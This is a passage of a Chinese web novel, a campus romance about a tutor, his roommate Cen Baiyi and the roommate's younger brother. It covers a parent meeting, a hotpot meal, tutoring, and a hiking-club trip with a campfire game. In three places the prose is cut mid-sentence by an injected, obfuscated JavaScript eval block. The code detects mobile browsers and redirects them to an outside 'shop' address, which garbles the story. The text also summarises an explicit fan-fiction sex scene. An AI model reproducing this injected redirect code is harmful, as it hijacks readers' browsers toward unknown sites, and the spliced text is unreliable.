全年级一千多号人,全班四十多人,学校里的排名在九月份大大小小的考试里就定下来了,估计下一次学到重难点之前,排名不会有太多波动。 所以,岑念的进步可以说是惊人的,发言也是情理之中的事情。 就是……为什么没人提前通知他啊?! 宁启洄和岑柏意对视一眼:你去还是我去? 岑柏意敏锐地拒绝了心上人的请求:你去吧,毕竟是你补课的功劳。 宁启洄:“……”也不是很想有这份殊荣。 宁启洄迈着沉重的脚步,和突然安静的岑念走上台。 察觉到他的反常,宁启洄轻声问:“怎么了?” 岑念小声道:“我紧张。” 宁启洄:“别紧张,你以后会越来越好,经常上台领奖。”毕竟,家教大业刚开始,这才哪到哪。 打定主意以后不来来的宁启洄如是想。 得知自己还得上台,岑念脸色一僵。 半晌,他冷静道:“不,我只是没准备好发言,为什么没人提前通知我。” 同样要发言的宁启洄叹气,这个劝不了,这个是真苦恼。 奖品是班主任自掏腰包买的,多是一些文具,像笔本子之类的,也有好看的小发饰和小玩具。 岑念就拿到了一个厚厚的笔记本和一个发条小车车。 小车车是红色的,拧一下就能跑。 岑念趁着班主任发言的空当,悄咪咪在自己手臂上玩小车车,还试图让宁启洄伸手跟他拼一条长长的人手跑道。 宁启洄:“……”那必不可能,台下那么多家长同学看着呢。 他戳了戳岑念,让他收敛一点。 没过多久,班主任发言结束,到他们这两个冤种了。 岑念清清嗓子,开始他的发言: “众所周知,我,岑念,康明中学初一1班的学生,一颗冉冉升起的新星…… 我三岁入学小明星幼儿园,成为所有孩子的老大,六岁进入明星小学,十二岁以语文92,数学97,英语90的优异成绩毕业,期间获得社区猜灯谜大会优秀奖,绕口令背诵大赛参与奖,明星小学三班爬树比赛特等奖,全校捉迷藏比赛二等奖…… …… …… 总之,我要感谢我的父母,感谢我哥,感谢我嫂,嗷!我宁哥,感谢我的老师们和同学们,感谢一直以来不抛弃不放弃的我自己! 同学们,不要太羡慕我今天的成功,要相信自己,加油,你们也可以! 我的发言结束,谢谢大家。” 岑念鞠了个躬,默默退到一边。 “……”宁启洄不动声色收回掐他的手。 他算是知道了,合着这小子从小到大没干几件正事。 太可怕了,难道岑柏意小时候也这么皮吗? 目光不由自主朝角落的位置看去,岑柏意一脸淡定,似乎早就习惯了,只是看他的眼里闪着微光。 台下鸦雀无声,默默把视线转移到宁启洄身上。 “他说的对。”宁启洄点头。 他真的觉得岑念自我认知挺清楚的,起码,记性不错,就是亲戚关系不太搞得清楚。 见班主任和家长们还一脸期待地看着他,他沉吟片刻,缓缓开口,“我觉得,主要还是我家孩子聪明。” 沉默,死一般的沉默。 “要不然,现场给大家秀一段?”正好最近在纠正岑念的英语发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012943|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,简单表演个念课文指定不是问题。 两人被勉强笑了笑的班主任请下台。 —— 家长会圆满结束,已经到了十二点半,宁启洄饿得肚子咕咕叫,中途靠着岑念的小同学们接济零食才缓过来。 看了眼不好好吃早饭的大少爷,岑柏意无奈叹气,带他就近去学校附近的餐馆吃饭。 被叫去吃饭的岑念很有电灯泡的觉悟,故作鬼祟地跟在他们俩身后几米远,眼里闪着金光,幻想自己是肩负神秘任务的特工。 僚机一号已坠毁,现在登场的是崭新出厂的僚机二号! 根据从南宫雪那里套出来的追对象手册:可以制造一些无伤大雅的美丽误会,给两人独处提供机会。 于是,不远不近跟着他们的岑念突然大叫,“哎呀!我崴脚了!” 宁启洄回头,看见岑念落后他们不少,又看了看他的脚下。 “……”穿板鞋平地崴脚? 不得了,天赋异禀。 “哎呀!我同学带我去医务室了,哥,嫂,嗯,宁哥你们先走吧!”岑念挥挥手,立马就被事先安排好的龙套同学一左一右给架着走了。 岑柏意:“……”每次撒谎都用些什么破理由。 看透一切的岑柏意拉着宁启洄的手往外走,头也不回的,背影是那样的坚定。 宁启洄:“……”突然觉得自己的肚子金贵不少,比亲弟弟还重要。 “他真的没事吗?”宁启洄担忧道。 岑柏意淡定,“没事,去吃饭。” “他只是想趁机和同学去玩罢了。”在宁启洄第三次扭头去看的时候,岑柏意淡淡开口。 宁启洄一想,也是,毕竟六七岁年龄差摆在这里。 三年一代沟,六年俩代沟。 估计也是聊不到一块,不如和同学们在一起打发时间,周末待家里写作业很难凑在一起,今天正好来开家长会,估计小孩们会琢磨着去哪里玩吧。 这么一想,宁启洄就毫无心理负担了,开开心心跟着岑柏意去干饭。 岑柏意以前会带岑念在这附近吃饭,对这些餐馆毕竟熟。 正往前走着,宁启洄突然拉住他,看向街对面,“嘿!吃麻辣烫吗。” 几分钟以后,两人坐在麻辣烫店的大圆桌前,周围挤满了人,大多是康明中学的学生。 宁启洄拿了几串千张,塞进嘴里,千张的豆香裹着锅底的麻辣鲜香,直冲天灵盖,他心情很好地抖了抖腿。 他以前就经常和林枫晚跑到这种街边小摊或者小巷子里搜罗点好吃的,缓解缓解家里阿姨做的过于健康的食物,以及苏女士和胡女士统一品味的外卖糊弄餐带来的迫害。 瞥见岑柏意坐着没动,宁启洄突然笑道:“岑总是不是没来过这种街边小摊?” 自从他看过那篇□□爆的清纯家教老师×阴鸷霸道总裁的文以后,他基本上就再也没有这样叫过他。 这冷不丁一调侃,还挺有意思。 岑柏意沉默了一会,开口道:“在你心里,我到底是什么样的形象。” 宁启洄想了想,认真道:“刚开始是高冷帅气,后面熟了,就认真负责有爱心很温柔……” 一个个褒义词从宁启洄嘴里吐出,像不要钱一样。 越夸,岑柏意耳朵尖尖越来越红,嘴角控制不住上扬。 突然,他话锋一转,“但是社恐。” 岑柏意:“?” 33. 社恐 说着,宁启洄拍了拍他的肩膀,重重叹了口气,“我知道的,高冷只是你的保护色,社恐才是必杀技。” 岑柏意:“?” 宁启洄温柔看他,眼神不自觉流露出母爱的光辉,“很累吧?” “……” 岑柏意足足沉默了五分钟,等宁启洄去拿了下一碟菜回来的时候,他才缓缓开口,“是什么让你觉得我社恐?” 尾音上扬,似乎真的很疑惑。 宁启洄拨了拨锅里的鱼丸,语气沉重,“你有时候和我说话耳朵都会红,我上网查过了,这是社交恐惧症,不过你别担心,你的症状不严重,你对别人好像不这样……” 越说越小声,他也觉得奇怪。 他以前班上那些有点社恐的同学,说话不只是脸红耳朵红的,眼睛也会下意识错开。 但是岑柏意只对着他这样,而且好像每次都是直直盯着他。 就像此刻,岑柏意静静地看着他。 宁启洄突然恍然大悟道:“难道,社恐也有那种特定的过敏原?” 岑柏意张了张嘴,想说什么,又闭上了。 宁启洄看着他,目光隐隐包容和慈爱,“想说什么就说,没事的,我不会笑你。”毕竟,他是唯一知道这个秘密的人。 岑柏意神色淡淡,语气颇有些咬牙切齿,“……百度看病,癌症起步。” 宁启洄:“……”有点道理。 “那你到底怎么了,热的?”宁启洄好奇探头。 岑柏意定定地看了他几秒,在宁启洄脸都要被锅里的热气熏红的时候,抬手把快要伸到自己碗里的头给戳回去,“海带熟了。” “喔。” 看着哐哐炫的宁启洄,岑柏意也拿起一片海带放进嘴里,嚼了几下,无声叹气。 “我有蘸料要试试吗?”见他食之无味,宁启洄热情地分享自己吃火锅的独门蘸料秘方。 岑柏意嚼着裹了层蘸料的牛肉,再次内心叹气。 得想个办法让他再看看那些同人文,估计上次历史记录里那篇就是无意间点进去的,可能都没细看。 不然,怎么这么迟钝。 青蛙戳一下都会蹦跶,他倒好,榆木做的蛙。 钝吧,钝点好啊,钝点别人抢不走。 心事重重地吃完这顿麻辣烫,岑柏意带着宁启洄回学校了。 在又一次经受舞蹈课的折磨之后,这个班上的同学萎靡不振地去干饭。 宁启洄苦着脸,汉堡的诱惑都没那么大了。 这几周他们都是坐在一起的,见状,岑柏意笑了笑,“一次期中考试而已,别怕。” 宁启洄死鸭子嘴硬,“谁怕了!” 岑柏意哄着,“好,不怕,那下课要一起练习吗?” 今天下课了,孟柔柔说十一二月的某节课上,他们会迎来一次临时起意的期中考试,主要是考察华尔兹基本舞步,期末考试理论知识和配乐跳一支完整的舞蹈。 时间不定,内容不定,也就是说,接下来直到虚无缥缈的那次期末考试开始之前,想得高分但基础不行的学生,都必须刻苦练习课上学到的所有舞步。 某位基础极差天赋为零没有技巧全是感情的学生把脸一扭,嘟囔着:“都说了我不怕了。” 表情很到位,就是气势不太足。 岑柏意观察了几秒,在闹别扭的感情型选手炸毛之前,含笑开口顺毛,“我怕,我怕挂科,帮帮我岁宝。” 宁启洄脸一红。 干嘛,干嘛突然这么叫,还怪臊人的。 既然这人都说了,那就,那就勉为其难练一下吧。 他咳嗽两声,假模假样道:“期中不至于挂科,咳咳,不过,不过你强烈要求的话,也不是不行。” 岑柏意勾勾唇角,“谢谢岁宝。” 宁启洄脸更红了,像个番茄似的,一掐就能出水。 他低头往外走,岑柏意慢慢悠悠跟在小番茄身后。 快到宿舍了,岑柏意突然关心起他的腿。 宁启洄想了想,觉得没问题,他现在已经完全不痛了,能跑能跳的,但估计运动会还是参加不了,只能坐边上给人加油了——虽然他并不遗憾。 说到他的腿,宁启洄突然想起另一码事来。 他满是期待地看着岑柏意,“岑总,你高中的笔记能借我一下吗?” 熟悉的称呼,熟悉的眼神……想起某些会被和谐的画面,岑柏意耳朵尖红了红,强壮镇定道:“怎么了?” 宁启洄有些不好意思地挠挠头,“之前和我的医生做了笔邪恶的交易,要给他弄状元笔记来着。” 岑柏意想了想,他好像确实是那一届的省状元。 他点头说好,“很着急吗,着急的话我回家一趟,不然这周六去我家拿。” 宁启洄点头说好。 时间就这么定下来了,每天晚上有空就去练练舞,挽救一下岑柏意(划掉,宁启洄)岌岌可危的舞步,这周六去做家教顺便取笔记。 对于宁启洄的到来,岑念似乎异常兴奋。 宁启洄有些奇怪,他们上周日才见过,又不是说分离很久了。 倒是岑柏意斜睨了他弟弟一眼,让后者收了收心思。 回到房间关上门,岑念彻底放飞自我,他嘿嘿一笑,悄咪咪觑了眼紧闭的门口,“小宁老师,上次开完家长会,你和我哥去哪里了啊?” 宁启洄在检查之前留下来的作业,一边勾出关键步骤一边圈出错误步骤。 他漫不经心应道:“去吃麻辣烫了。” 岑念:“……” 他颤颤巍巍问:“是学校边上的那家摊摊麻辣烫?” 语气很不稳定,似乎只要宁启洄点个头,他就会立马晕过去。 宁启洄奇怪地看了他一眼,“对啊,你们学校附近就那一家。” 不是,这可是约会啊! 我处心积虑给创造的约会啊哥! 你居然带人去吃麻辣烫! 你没救了,活该嫂子对你没感觉。 岑念一边在心里吐槽哥哥,一边被气得悄悄翻白眼。 他背过去调整一下表情,转回来,笑容僵硬,“小宁老师,麻辣烫好吃吗?” 好吃个屁! 谁他妈约会去吃麻辣烫! 餐厅音乐烛光晚餐,哦不,午餐,安排上啊! 宁启洄在卷面上打分,八十,还不错,有进步了。 他随口道:“还可以,我选的。” “可以就好可以就好。”噢嫂子选的啊,那没事了。 宁启洄放下试卷,突然狐疑地看了他一眼,“你问这个干什么?” 当然是关心我哥的感情进展呗。 当然,这话岑念是不敢说的,看他哥刚才那眼神,估计是还没表白,他能不着急吗。 但他不敢说,不然,肯定会被他哥灭口分.尸,尸体绕着A市埋。 得暗示一波。 岑念没接他的话,倒是眼珠一转,问道:“小宁老师,我哥突然去家长会你不奇怪吗?” 宁启洄:“不奇怪啊。” 岑念咬牙,把他哥出卖了,还是主动出卖的那种,“我哥要求去的,他想跟你一起去。” 岑念深觉自己的助攻很完美,完全忘记了玻璃柜里那个幽幽看着自己的最新款机器人的来源。 但是当事人并没有什么反应。 岑念不死心,问:“小宁老师,你不觉得很奇怪吗?”哪有上赶着开家长会的?这肯定是冲着你来的啊! 而且如果不是家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012944|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在没人来,估计他哥也懒得管他,毕竟每次去家长会都是挨批,都习惯了。 这次居然还能发个言,岑念同学自我感觉良好,并且有些臭屁——他的发言简直吊炸天! 宁启洄依旧淡定,“你哥关心你呗,哪里不对劲了?” 岑念脸上的表情都要控制不住了,他想了想南宫雪跟他说的追人大法,决定用上。 “有没有可能,我哥是为了你呢?” 这话怎么听着这么奇怪? 宁启洄把莫名的想法晃散,道:“确实是为了我——” 岑念眼睛倏地亮起,看来他哥也没有那么不中用! 下一瞬,就听见面前人继续说:“你哥跟我说过,怕我找不到路,第一次带着我去。” 岑念:“……”屁,那么多志愿者,怎么可能找不到路。 岑念要气死了,他哥怎么这么不开窍,把自己路都堵死了。 懂了,他大哥没张嘴就算了,他准嫂子也是真的瞎。 岑念真的要厥过去了,宁启洄奇怪地看了他一眼,“十分钟过去了,再不开始今天任务做不完。” “……”好,他是牛马,助攻不成还得写作业。 岑念心里有事,把倒扣的笔帽咬得乱七八糟,愤愤在试卷上写了个C,旁边伸过来一支红笔给他打了个叉。 宁启洄:“错了,这题选D,实数范围内,负数不能开平方,这几个数里只有两个能开平方。” 岑念:“我知道啊。” 宁启洄:“那你选C?” 岑念:“题目没说是实数范围啊,我哥说了,复数范围有。” 宁启洄:“……”你才上初中,别太装逼了哥。 他算是知道岑柏意为什么不亲自教了。 课间休息,岑念又暗戳戳去看宁启洄,突然,他视线凝滞在宁启洄的手腕上。 “小宁老师,这表是我哥送你的吗?”他眼睛闪着激动的光芒。 “是啊,你怎么知道。”宁启洄看了眼手腕上的表,冰凉的表带贴合手腕,已经被体温微微捂热,表盘嵌着的细钻和宝石在灯光下闪耀着华光。 岑念尽量掩饰自己的表情,嘴角却压都压不下去,“这表是我哥自己设计的,画了很久,我当然认识啦。” “?!!” 居然是亲手设计的?! 宁启洄有点点感动,生日的余温似乎延续到了今天。 注意到他的表情,岑念一笑,隐去功与名。 哈哈哈哈,有戏! 等上完课下楼,岑柏意已经洗完了澡,短发还在往下滴水。 白色的浴袍裹在身上,敞开的领口露出大片白皙的皮肤和若隐若现的胸肌,更往下的腹肌隐在浴袍里,修长有劲的小腿从浴袍下摆伸出。 看着就很……啊啊啊! 宁启洄险些流出鼻血,他觉得是这几天吃得太好补过头了。 笔记锁在柜子里,得岑柏意回来开锁。 于是,宁启洄顺理成章又蹭了顿晚饭,吃饱喝足才回去。 等回到学校,宁启洄复印好笔记,又给李医生叫了同城闪送寄过去,把原件还给了岑柏意。 没过多久,李医生的消息回过来了。 【李医生】:收到笔记了小宁,不过倩倩是学文的。 宁启洄:“……” 【岁岁平安】:有用就好,不用客气。(团子蹦蹦跳跳.jpg) 【李医生】:…… 多少看看他发的是什么呢? 不过好在语数英三科的笔记能通用。 两人又牛头不对马嘴客套了一番,以李医生毫无人性的【下次骨折给你多打点石膏】结尾。 宁启洄想,李医生真好,为了感谢他,还放弃了自己的医德。 34. 坐车 过了几天平静日子,在又一次被自己的鸭子舞步打击到以后,宁启洄洗了澡就把自己埋在被窝里。 慢一步的岑柏意爬上床,撩起两人之间的床帘,小声安慰备受打击的宁启洄。 安慰了几句,岑柏意听见面前人的呼吸已经完全平稳下来了。 已经睡着了。 他默默盯着看了一会,放下床帘,回到了自己床上。 半夜,难得睡个早觉的宁启洄睡不着了,下意识身上摸手机,刷着刷着就点进那个神秘蓝色APP。 这几天都被华尔兹折磨着,做梦都是岑柏意让他踩他脚带着他跳。 几天没看,同人贴又更新了不少。 宁启洄挑挑选选,心头一动,点进那个唯二关注的账号看花人——另一个是贴吧小助手,这个小号关注的帖子都是有关他和岑柏意的CP贴的。 他现在已经能面不改色看同人贴了。 看花人前两天更新了一篇新同人贴文——【岁岁年年】,大概就是宁启洄过完生日之后的两天。 他倒要看看,林若锦又编排了他什么东西。 不出所料,这次的内容和生日宴有关系,设定是求而不得继而黑化的偏执竹马哥哥岑易×矜贵富家公子哥宁绘。 好好好,起码不是贫穷大学生家教了。 宁启洄从这一巨大落差对比之下,莫名得到了一点安慰。 他想,现在有钱的是他,岑柏意总不能再欺负他了吧? 事实证明,他想错了。 【岁岁年年】同人文前半段在描述宴会盛大以及爱慕者对小少爷献殷勤还有默默再度黑化的竹马哥哥,中段就开始不对劲了,宴会散了,披着羊皮的竹马哥哥把独处的醉酒小少爷带去自己家,后半段,把他日了。 是的,日了,边日边说自己黑化的过程。 就在宁启洄看得微微喘气以为终于要结束了的时候,竹马哥哥端着一盘子奶油蛋糕进来了,把纯白的奶油抹在小少爷如雪的皮肤上,一点点舔舐干净。 舔着舔着,眼泪突然落下来,他再次挤进小少爷的身体,一边用力一边哭,嘴里数落着这些年受的委屈和对小少爷的思念,动作是一点没停,还越来越用力。 结尾以小少爷晕过去结束,嘴里念叨着竹马哥哥的名字,竹马不黑化了,两人he。 宁启洄完全怀疑,林若锦写这篇文,完全是想写奶油那段剧情,这结局太敷衍了。 他沉默了很久,看了这么多同人文,他是第一次看见岑柏意,哦不,是岑柏意的分身哭,还哭得很凶。 他实在是想象不出来,岑柏意会埋首在他脖子里哭,居然还能哭成这样。 文字描述实在是太有感染力了。 这他妈,到底是谁被日了,他有什么好哭的! 宁启洄看完,小脸黄扑扑地关上手机,在心里又给林若锦记了一笔。 十月,天气渐渐凉爽,秋风吹散了夏日的酷暑与燥热。 宁启洄看见平时一直八卦学校大事小事的登山社群终于有动静了。 【社长-齐岳川】:通知:打开健身运动之门,追求……本社将于10月28日-29日举办一次登山活动,地点:A市南云山,建议携带物品如下:登山背包,水杯……@全体成员有事的给社长或者副社请假 【社长-齐岳川】:嗨起来啊朋友们~(面条人起舞.jpg) 【宣传部-潘晓瑜】:来啊~ 【策划部-麻豆豆】:造作呀~ 【社长-齐岳川】:你们的文案真够真够破的@策划部-麻豆豆 【策划部-麻豆豆】:破就破呗,AI生成的。 【社长-齐岳川】:…… 宁启洄见后续没有什么重要信息了,就把手机一关,给小汤圆换上新买的小衣服,小汤圆被拎在手里悬空,奋力挣扎几下,最后只能蔫蔫地接受这件小衣服。 他乐了几下,咔嚓咔嚓拍照发朋友圈。 爬山活动就在几天以后,他现在可以收拾收拾行李了,顺便那几天把小汤圆托付给寝室里那对小情侣。 注意到他的动静,岑柏意从代码世界里抬头,瞥见他翻出几件衣服,好奇问道:“你要去哪?” “爬山啊,我进登山社了。”宁启洄随口应道。 岑柏意走过来,拿起宁启洄试图往包里塞的松软小枕头。 “这个用不上。”岑柏意按住宁启洄一直用力的手,强调,“真用不上,有睡袋。” 宁启洄想想也是,依依不舍地把松软喷香的小枕头又拿出来,转眼塞了袋暖宝宝进去。 “这个我到时候一起带。” “?” 宁启洄缓慢回头,“你也是登山社的?” 岑柏意:“你不知道吗?”群里那么大一个副社,你看不见吗? 读出岑柏意过于幽怨的眼神,宁启洄摸摸鼻子,稍微心虚道:“谁让你平时不发言,谁知道是你。” 说着,背过去,继续心虚地收拾行李。 岑柏意想了想,打开群聊,群里面已经在@几个新进社的社员了,在问他们去不去。 老社员一般是都会去的,而且,新社员来了,没人关心这群老油条了。 岑柏意盯着宁启洄的名字看了几秒,抬手敲字。 【副社长-岑柏意】:宁启洄和我一起。 【宣传部-潘晓瑜】:嗷嗷嗷! 【策划部-麻豆豆】:磕拉了家人们! 【登山社闲散人员-杨镁铝】:七百CP是真的!!! 下面跟了一串啊啊啊啊啊啊—— 刷了刷群里毫无意义的猴叫,岑柏意微微勾唇,也开始收拾行李。 —— 转眼到了约定的时间,28号上午八点,岑柏意拖着怨气比鬼大的宁启洄去和其他社员汇合。 减去主动退社和毕业自动退社的人数,加上新进社的人,登山社现在一共三十七位,今天来的有十位,算多的,平时可能就七八位熟人,这次也许是新生的加入导致人数看着多。 宁启洄看见了社团纳新那天见过的潘晓瑜,她正冲身边的瘦瘦高高的男生嘀嘀咕咕,时不时朝他和岑柏意瞥两眼,那兴奋的眼神,熟悉得很。 某位不知名看花人太太一见他俩也这样。 宁启洄:看淡了,习惯了。 一群人浩浩荡荡往校门口去,说是包了车直接打包送到南云山。 宁启洄和岑柏意坐一起,前排是潘晓瑜和刚才和她一起嘀嘀咕咕的小泡面头。 干脆面吧,头发焦黄,看着有点营养不良。 小型巴士缓缓开离大学城,越靠近郊区,路上的繁华景象也急速倒退,映入眼帘的是大自然的绿意盎然。 起了个大早的困倦再次袭来,宁启洄迷迷瞪瞪闭上眼,正要睡觉,就被一根手指戳了戳。 “?” 宁启洄睁眼,蓦地对上两双亮晶晶的眼睛。 靠窗那位是之前见过的纳新女社员,她此刻大大方方伸手问好,“你好,我叫潘晓瑜,大二英语系学生,上次纳新就是我收的表。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012945|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你好,我——” “我知道我知道!化学系宁学弟!” 宁启洄深觉大事不妙,他强行安慰自己,可能是从报名表上看到的。 没等潘晓瑜继续说什么,旁边座上的干脆面头的男生开口,“你、你好,我叫麻豆豆,也是英语系大、大二的学生,你叫我豆豆就好。” 他声音很小,听起来怯怯懦懦的,像是有些怕生害羞了。 宁启洄点头微笑,“这位学姐已经——” “我知道你。”麻豆豆同学用手指绕了绕自己有些长的泡面头发,脸颊红红的。 熟悉的开场白,让宁启洄有一种不太好的预感。 果然,麻豆豆接着说:“化学系新生,我们副社的小对象!” 还没出口的“介绍过我了”几个字被生生咽回去,宁启洄维持着模范假笑。 谢谢你,林枫晚,你让我在A大半出道了。 两位还在很友好地和他交流,包括但不限于分享薯片巧克力棒和快乐水。 早上被拉着吃了顿健康又寡淡的早餐,宁启洄还不饿,但架不住对方过于热情,还是收下了。 直到潘晓瑜再次投喂她最喜欢的辣条的时候,一直在看手机的岑柏意忍不住抬头,“爬山带这么多零食做什么。” 潘晓瑜和麻豆豆都是一脸严肃,潘晓瑜说:“副社你不懂,万一遇上点塌方山洪泥石流什么的,这就是等救援的保命神器啊!” 全车人盯过去,像是在看潘·多拉魔盒·晓瑜。 岑柏意没什么表情,语气淡淡,“你的保命神器快吃完了。” 潘晓瑜笑嘻嘻从麻豆豆包里又拿出一袋巧克力豆,“多着呢,能量棒不到关键时刻不会动的。” 车上人不多,两三个成群都在讲话。 坐在旁边的社长齐岳川忍不住开口:“晓瑜,东西背多了不好爬山的。” 潘晓瑜嘿嘿一笑,“没事,赵哥李哥帮我背了点。” “……”来自老社员の叛变。 在潘晓瑜还要说什么的时候,岑柏意看了她一眼,“宣传计划书写了吗,后天交。” “……”只新建了一个文档算吗? 潘晓瑜讪笑着坐回去,宁启洄看着那黑色的发顶慢慢消失在视线里。 世界终于清净了。 宁启洄闭上眼,彻底陷入沉睡。 过了一会,岑柏意见他脑袋随着车颠簸而摇摇晃晃。 脖子会酸的吧。 肯定会。 这么想着,岑柏意在宁启洄的脑袋又一次偏向自己这边的时候,伸手轻轻把他的头彻底按在自己颈窝。 不动了。 很乖。 岑柏意身形不动,眼睛下瞥。 乌黑的头顶对着自己,有一个浅浅的发旋,很可爱。 脑袋毛茸茸的,随着巴士的行驶颠簸在他颈窝蹭来蹭去,很痒。 很可爱,像只困倦的猫崽,打着哈欠伸出粉爪爪挠他,撩拨心弦。 他想起送到小舅家的那只银渐层,已经有一个多月没见过了。 下次可以接回来。 这样想着,岑柏意也有些困了,脑袋微微偏了偏,轻轻靠着这片毛茸茸睡着了。 前排的两位再次扭头要分享小曲奇的时候,就看见这样一幅岁月静好的画面。 潘晓瑜:啊啊啊啊! 麻豆豆:啊啊啊啊啊啊! 两人找好角度悄咪咪拍照,相视一笑,又悄咪咪上传到贴吧。 正主每天都在发新粮! 35. 篝火 到地方了,已经是中午了。 几人在山脚下的一家餐馆吃了些东西。 吃完,表情都很奇怪。 出钱的社长表示,又贵又坑还难吃。 南云山并不算是很出名的景点,周围几个有群山的市才是登山爱好者的首选,来A市大多都是为了感受繁华的经济发展。 谁闲得没事去爬这么一座山。 ——A大登山社。 今年的登山策划比较仓促,时间也紧,就没有去外市的山,反而是就近选择了南云山。 所以,这饭店也就能宰到他们了。 鉴定完毕,纯纯怨种。 社长捂着空了大半的经费,内心滴血。 还好,还好登山设备提前买了,不然到时候只能风餐露宿。 吃了个半饱的社员们,全靠潘晓瑜和麻豆豆带的零食过活。 —— 秋风过境,南云山外面的树已经枯黄了,但深入内部,树木还是郁郁葱葱的,生命力格外茂盛浓郁。 南云山不算高,没铺台阶,几人踩在铺了落叶的土壤上,一步步往上爬。 鞋底踩碎枯叶,发出轻微的咔嚓声。 齐岳川在耐心给第一次爬山的新社员们讲解爬山技巧,“头抬起来,背挺直,重心放在后脚跟……脚掌着地……调整呼吸……” 爬了这么久,居然不见喘,语调依旧平稳。 老长时间没运动的体育废废宁启洄喘得要死,但死要面子不出声,胸膛起起伏伏动作不小。 岑柏意接过他的背包,在经历过一次假模假样的假客套以后,还是拿到手了。 这下宁启洄轻松不少,把手背在身后,跟老大爷散步似的。 山不算很陡峭,很好走,也没下雨打滑,甚至都用不上登山杖。 南云山不算高,但是路程很长,一行人走了很久。 宁启洄看着边上的环山公路,内心流下羡慕又眼馋的泪水。 就这样晃晃悠悠到了山顶,路上走走停停歇歇的,到山顶已经傍晚了。 山顶有一块很适合露营的地方,有遮挡物,风吹不进来。 几人清出一片阻燃圈,又用石头搭了个小灶台围起来。 岑柏意按社长指示捡完柴火,安安静静坐着看他们忙活完,轻声问:“打灶台,有菜吗。” 忙活半天的几人:“……” 齐岳川抿唇,“就当是篝火了。” 岑柏意:“圈围太小了,搭不了篝火。” “……” 几人又勤勤恳恳多捡了些石头搭了个大点的圈。 找易燃物的潘晓瑜和麻豆豆也回来了,主要是捡了点干的松果和枯草枯叶,满满当当一大衣兜,易吸附的外套沾满了灰尘和枯叶。 宣传部部长赵越嫌弃地推开她,“晓瑜,一个女孩子能不能爱干净一点。” 潘晓瑜撇嘴,把冲锋衣又换上了。 丑死了,社长这什么审美,屎黄色的冲锋衣,说是在土里方便躲藏。 谁爬山要躲土里啊! 买个绿色或者迷彩的往树林里钻多好! 不对,爬个山有什么好躲的,又不是进山躲避追杀的! 潘晓瑜郁闷地把衣服兜着的引燃物倒出来,扭头看了眼一旁忙完就坐在一起说悄悄话的两人。 高一点的那个微微侧头,完美的侧脸轮廓裹上月光,仿佛天神降临,和彻底转过脸来和他说话的青年对视,青年眼睛亮晶晶的,笑起来有一颗小虎牙。 只要看到两人的第一眼,都没人会去注意衣服到底什么样子。 第二眼,他们这么穿肯定有他们的道理。 说不定是今年新款。 嗯,看起来绝对不是衣服的问题。 靠! 篝火起到的作用并不是烧烤,而是照明温暖以及一个气氛。 潘晓瑜把她放在其他社员包里的零食拎出来,摆了一地,很壕气地一挥手,“敞开吃,全场潘公子买单!” 宁启洄拎了个牛肉干出来,嘎嘣嘎嘣嚼着,“好硬。” 就很费腮帮子。 想着,给岑柏意塞了一块。 岑柏意:“……”硬你给我吃? 但他还是张嘴接过来,很普通的口感,风干的牛肉香味,加上加工撒的辣椒调味料,略微有点咸。 不过,很好吃,他觉得。 在陆续被投喂了薯片巧克力芒果干等一系列小零嘴之后,岑柏意神色复杂地摸了摸有些吃撑的肚子。 投喂方毫无所觉,依旧快乐塞食,直到零食袋子空了。 篝火烧得很旺,火红的光映照在每个人的脸上,十八九岁的青年们围坐在一起,青春的气息扑面而来。 潘晓瑜兴致勃勃提议,“要不我们玩个游戏吧!” 宁启洄瞬间警觉,前几天生日宴那场极有针对性的真心话大冒险还历历在目。 岑柏意也想起了那场称得上是“岁宝清缴战斗”的惨烈游戏,默了默,用一种难以言喻的表情看向潘晓瑜。 社团里唯一一对小情侣也看过来,眼睛闪着金光。 莫名肩负压力的潘晓瑜:“?” 盯着多方压力,潘晓瑜小心翼翼开口:“那我们,玩你画我猜?” 齐岳川表情一言难尽,“不建议,上次老赵你画我猜玩上头,大半夜拖我起来玩。” 想去那一次大半夜的惊天动地,潘晓瑜沉默了。 片刻,她缓缓开口:“那捉迷藏呢?” 李景奇叹气,“我们藏,然后明天喊搜救队漫山遍野来救我们?” “……”也是,夜晚的树林是有点危险。 “那,那我有你没有?”潘晓瑜绞尽脑汁搜刮自己看过的综艺。 “这可以。” “OK。” 见其他人都没有表态,潘晓瑜解释了一下游戏规则。 每个人轮流说出认为自己做过,别人没有做过的事情;当一个人说时,其余参与者若没做过就弯一根手指,若有同样经历,则分享经历,不需要弯手指;第一个十根手指全部弯折的人需要接受惩罚。 如果所有人都做过,则出题人自己弯一根手指。 